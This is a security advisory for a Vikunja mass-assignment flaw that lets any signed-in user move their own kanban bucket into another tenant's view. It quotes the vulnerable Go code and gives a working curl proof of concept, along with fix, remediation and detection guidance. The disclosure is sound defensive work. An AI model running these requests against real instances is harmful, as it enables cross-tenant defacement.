CVE-2026-55067: Vikunja: Authenticated cross-tenant kanban-bucket relocation via `project_view_id` mass-assignment
Summary
POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} mass-assigns the request body's projectviewid onto the bucket row. The permission check only verifies that the URL-supplied bucket already belongs to the URL-supplied (project, view) pair; the body's projectviewid is never validated. Any signed-in user can therefore take one of their own buckets and graft it into any other tenant's kanban view, with attacker-controlled title and the attacker's account as createdby.
This vulnerability was found using an LLM, and manually verified against latest (2.3.0).
Vulnerable code
pkg/models/kanban.go (lines 348-359):
go func (b Bucket) Update(s xorm.Session, web.Auth) (err error) { , err = s. Where("id = ?", b.ID). Cols( "title", "limit", "position", "projectviewid", // mass-assigned from the request body ). Update(b) return }
Bucket.CanUpdate (canDoBucket) only validates that the URL-supplied {bucket} belongs to the URL-supplied {project}/{view}. The body's projectviewid reaches Update unchecked and is written through.
Proof of Concept
Prerequisites: Two registered users (attacker and victim). In the IDs below: attacker's project is 2, kanban view 8; victim's project is 1, kanban view 4.
Step 1: Attacker creates a fresh bucket in their own project.
bash curl -s -X PUT 'http://localhost:13456/api/v1/projects/2/views/8/buckets' \ -H 'Authorization: Bearer <attackertoken>' \ -H 'Content-Type: application/json' \ -d '{"title":"PWNED BUCKET"}' | jq '.id' Returns: 7
Step 2: Attacker updates bucket 7, supplying projectviewid = victim's view ID. The URL chain is the attacker's, so CanUpdate passes; the body field is written through without further checks.
bash curl -s -X POST 'http://localhost:13456/api/v1/projects/2/views/8/buckets/7' \ -H 'Authorization: Bearer <attackertoken>' \ -H 'Content-Type: application/json' \ -d '{"title":"PWNED BUCKET","limit":0,"projectviewid":4}' | jq '{id,title,projectviewid}' Returns: { "id": 7, "title": "PWNED BUCKET", "projectviewid": 4 }
Step 3: Victim lists buckets in their own view; the attacker's bucket is now there, owned by the attacker.
bash curl -s 'http://localhost:13456/api/v1/projects/1/views/4/buckets' \ -H 'Authorization: Bearer <victimtoken>' | jq '[.[]|{id,title,createdby:.createdby.username}]' Returns: [ {"id":7,"title":"PWNED BUCKET","createdby":"attacker"}, {"id":1,"title":"To-Do","createdby":"victim"}, {"id":2,"title":"Doing","createdby":"victim"}, {"id":3,"title":"Done","createdby":"victim"} ]
After relocation the attacker can no longer reach the row (it lives in the victim's view), so only the victim can delete the graffiti. projectviewid is a sequential integer, so any tenant's view can be targeted by enumeration.
Impact
Any signed-in user can inject arbitrary-titled buckets into any other tenant's kanban view. Most likely exploitation here would be graffiti/defacement.
Fix
In (b Bucket) Update, drop projectviewid from the Cols(...) allowlist (mass-assignment fix) and reject body payloads where projectviewid != bucket.ProjectViewID. If legitimate "move bucket between views" is a needed feature, expose it as a dedicated endpoint that calls CanUpdate against both the source and destination view.
Other sources
Vikunja is an open-source self-hosted task management platform. Prior to 2.4.0, POST /api/v1/projects/{project}/views/{view}/buckets/{bucket} allows the request body projectviewid value to be mass assigned by Bucket.Update in pkg/models/kanban.go. The permission check validates that the bucket currently belongs to the URL project and view but does not validate the body selected destination view, allowing any authenticated user to relocate an attacker-owned bucket into another tenant’s Kanban view. The injected bucket retains attacker-controlled content and ownership, enabling cross-tenant defacement. This issue is fixed in version 2.4.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/code.vikunja.io/apito a version that resolves this vulnerability.Fixed in 2.4.0 - Upgrade
Upgrade
Vikunjato a version that resolves this vulnerability.Fixed in 2.4.0 - Configuration
In `(b *Bucket) Update`, drop `project_view_id` from the `Cols(...)` allowlist (mass-assignment fix) and reject request bodies where `project_view_id != bucket.ProjectViewID`.
Vikunja API (Bucket.Update in pkg/models/kanban.go) project_view_id mass-assignment / allowlist = remove project_view_id from Cols(...) allowlist and validate body - Configuration
Ensure `Bucket.CanUpdate` and the update path validate the destination view consistently; specifically, reject/ignore any body `project_view_id` that does not match the bucket's existing `bucket.ProjectViewID`, and do not allow relocation via body `project_view_id`.
Vikunja API permission model project_view_id validation against destination view = body project_view_id must be validated/ignored - Compensating control
If legitimate “move bucket between views” is required, expose it as a dedicated endpoint that calls `CanUpdate` against both the source and destination view (instead of allowing the move via `project_view_id` in `Bucket.Update`).
Event History
Frequently Asked Questions
Who can exploit this issue?
Any signed-in user who can update a bucket they own can exploit it. The attacker also needs the target tenant's kanban view identifier to move their bucket into that view.
Are default deployments affected?
The issue affects the bucket update endpoint when authenticated users can create and update their own buckets. No special configuration is described as necessary.
What is the impact of a successful exploit?
An attacker can insert a bucket into another tenant's kanban view and control its title. The inserted bucket remains attributed to the attacker's account as created_by.
How can administrators look for possible exploitation?
Review bucket records for project_view_id values that point to views outside the bucket creator's authorized project or tenant context. Unexpected buckets in kanban views, especially those created by unrelated accounts, are indicators.
What mitigation is available if patching cannot happen immediately?
No interim mitigation is provided in the advisory data. Reducing access to bucket-update functionality for untrusted signed-in users would limit exposure where operationally feasible.